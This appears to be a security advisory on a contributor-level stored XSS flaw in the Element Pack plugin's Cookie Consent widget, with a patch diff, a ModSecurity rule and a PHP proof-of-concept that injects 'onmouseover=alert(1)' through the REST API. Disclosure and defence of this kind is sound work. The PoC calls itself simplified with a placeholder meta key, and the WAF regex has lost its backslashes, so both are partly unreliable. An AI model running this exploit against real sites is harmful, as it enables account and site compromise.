Atomic Edge analysis of CVE-2026-124752: This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Element Pack Addons for Elementor plugin (versions up to and including 10.0.3). The affected component is the Cookie Consent widget, specifically the handling of the ‘Learn More’ link’s custom attributes. Attackers with contributor-level access can inject arbitrary web scripts that execute when a user visits a page containing the compromised widget. The CVSS score is 6.4, reflecting the need for authentication and user interaction.
Root Cause: The root cause lies in the insufficient sanitization and escaping of the ‘custom_attributes’ array within the ‘learn_more_link’ setting. In the vulnerable version, the plugin directly uses `$this->add_link_attributes( ‘custom-attr’, $settings[‘learn_more_link’] )` without proper validation. This method generates a string of HTML attributes from user-supplied input and passes it via `esc_attr` to the frontend as ‘custom_attr’. The cookieconsent JavaScript library then injects this string into the DOM using innerHTML, causing any injected scripts to execute. The file `bdthemes-element-pack-lite/modules/cookie-consent/widgets/cookie-consent.php` around line 821 is the focal point.
Exploitation: An authenticated attacker with contributor privileges can craft a malicious payload in the ‘custom_attributes’ field of the Learn More link. For example, setting custom attributes to `onmouseover=alert(1)` or `href=javascript:alert(1)` will be stored. When a victim (including higher-privileged users) views the page with the cookie consent banner, the unsanitized attribute string is inserted as HTML, triggering the script. The attack vector is the widget configuration saved via the Elementor editor or direct post meta manipulation, and the payload executes on page load.
Patch Analysis: The patch replaces the use of `add_link_attributes` with manual construction of a `$link_attributes` array. It now checks for ‘nofollow’ and uses `ElementorUtils::parse_custom_attributes()` to parse custom attributes, which enforces a strict name pattern (`[-_a-z0-9]`) and removes dangerous attributes like `href` and `on*` handlers. The array is then passed as `linkAttributes` object to the frontend, where it is applied via `setAttribute()` in JavaScript. This prevents HTML re-parsing and ensures only safe attributes are set, thus eliminating the XSS vector.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking, theft of sensitive information (like authentication cookies), defacement of the site, or redirection to malicious domains. Since contributors can create posts, they can target administrators or other high-privilege users, potentially leading to full site compromise.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/bdthemes-element-pack-lite/bdthemes-element-pack-lite.php
+++ b/bdthemes-element-pack-lite/bdthemes-element-pack-lite.php
@@ -4,7 +4,7 @@
* Plugin Name: Element Pack Lite - Addons for Elementor
* Plugin URI: http://elementpack.pro/
* Description: The all-new <a href="https://elementpack.pro/">Element Pack</a> brings incredibly advanced, and super-flexible widgets, and A to Z essential addons to the Elementor page builder for WordPress. Explore expertly-coded widgets with first-class support by experts.
- * Version: 10.0.3
+ * Version: 10.0.4
* Author: BdThemes
* Author URI: https://bdthemes.com/
* Text Domain: bdthemes-element-pack-lite
@@ -85,7 +85,7 @@
if ( ! element_pack_pro_installed() ) {
// Some pre defined value for easy use
- define( 'BDTEP_VER', '10.0.3' );
+ define( 'BDTEP_VER', '10.0.4' );
define( 'BDTEP_TPL_DB_VER', '1.0.1' );
define( 'BDTEP__FILE__', __FILE__ );
if ( ! defined( 'BDTEP_TITLE' ) ) {
--- a/bdthemes-element-pack-lite/modules/cookie-consent/widgets/cookie-consent.php
+++ b/bdthemes-element-pack-lite/modules/cookie-consent/widgets/cookie-consent.php
@@ -821,7 +821,20 @@
$this->add_render_attribute( 'cookie-consent', 'class', [ 'bdt-cookie-consent', 'bdt-hidden' ] );
- $this->add_link_attributes( 'custom-attr', $settings['learn_more_link'] );
+ // Learn More link attributes travel as a plain name => value map and are applied with
+ // setAttribute() in JS. Never send pre-built attribute markup: the cookieconsent library
+ // builds the banner with innerHTML, where it would be re-parsed as HTML.
+ $link_attributes = [];
+
+ if ( ! empty( $settings['learn_more_link']['nofollow'] ) ) {
+ $link_attributes['rel'] = 'nofollow';
+ }
+
+ if ( ! empty( $settings['learn_more_link']['custom_attributes'] ) ) {
+ // Elementor's parser keeps names to [-_a-z0-9] and drops href and on* handlers.
+ $link_attributes = array_merge( $link_attributes, ElementorUtils::parse_custom_attributes( $settings['learn_more_link']['custom_attributes'] ) );
+ }
+
$this->add_render_attribute(
[
'cookie-consent' => [
@@ -834,8 +847,8 @@
'dismiss' => esc_html( $settings['button_text'] ),
'link' => esc_html( $settings['learn_more_text'] ),
'href' => esc_url( $settings['learn_more_link']['url'] ),
- 'custom_attr' => esc_attr( $this->get_render_attribute_string( 'custom-attr' ) ),
],
+ 'linkAttributes' => (object) $link_attributes,
'cookie' => [
'name' => 'element_pack_cookie_widget',
'domain' => Utils::get_site_domain(),
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-124752
SecRule REQUEST_URI "@streq /wp-json/wp/v2/posts"
"id:2026124752,phase:2,deny,status:403,chain,msg:'CVE-2026-124752 via Element Pack Cookie Consent XSS',severity:'CRITICAL',tag:'CVE-2026-124752'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule REQUEST_HEADERS:Content-Type "@contains application/json" "chain"
SecRule REQUEST_BODY "@rx custom_attributes.*?(?:onw+s*=|javascript:)" "t:urlDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-124752 - Element Pack Addons for Elementor <= 10.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting
$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor password
$post_id = 123; // ID of a post created by the contributor (or create a new one)
// Initialize cURL session
$ch = curl_init();
// Step 1: Log in as contributor
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Craft malicious payload for custom_attributes
// This assumes the post already contains a Cookie Consent widget with the learn_more_link setting.
// We will update the post meta directly via the REST API or XML-RPC.
// For simplicity, we use the WordPress REST API to update post meta (requires authentication).
// Note: The contributor must have permission to edit the post.
$post_meta_url = $target_url . '/wp-json/wp/v2/posts/' . $post_id;
$payload = [
'meta' => [
// The meta key for Elementor data is typically '_elementor_data'
// We need to inject a malicious custom_attributes value into the widget settings.
// This is a simplified example; actual exploitation requires knowledge of the post's Elementor structure.
// In a real attack, the contributor would edit the post in Elementor and set the custom attributes.
// Here we simulate by updating the meta with a crafted JSON containing the XSS payload.
// For demonstration, we set a meta field that the widget reads.
// The actual meta key may vary; this is a placeholder.
'_elementor_data' => json_encode([
[
'id' => 'abc123',
'elType' => 'widget',
'widgetType' => 'bdt-cookie-consent',
'settings' => [
'learn_more_link' => [
'url' => '#',
'custom_attributes' => 'onmouseover=alert(1)'
]
]
]
])
]
];
// Send the update request
curl_setopt($ch, CURLOPT_URL, $post_meta_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
$response = curl_exec($ch);
// Step 3: Trigger the XSS by visiting the post
$post_url = $target_url . '/?p=' . $post_id;
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);
// Check if the payload is present in the response (indicating stored XSS)
if (strpos($response, 'onmouseover=alert(1)') !== false) {
echo "XSS payload stored successfully! Visit $post_url to trigger.n";
} else {
echo "Exploit may have failed. Check if the widget is present and settings were saved.n";
}
curl_close($ch);
?>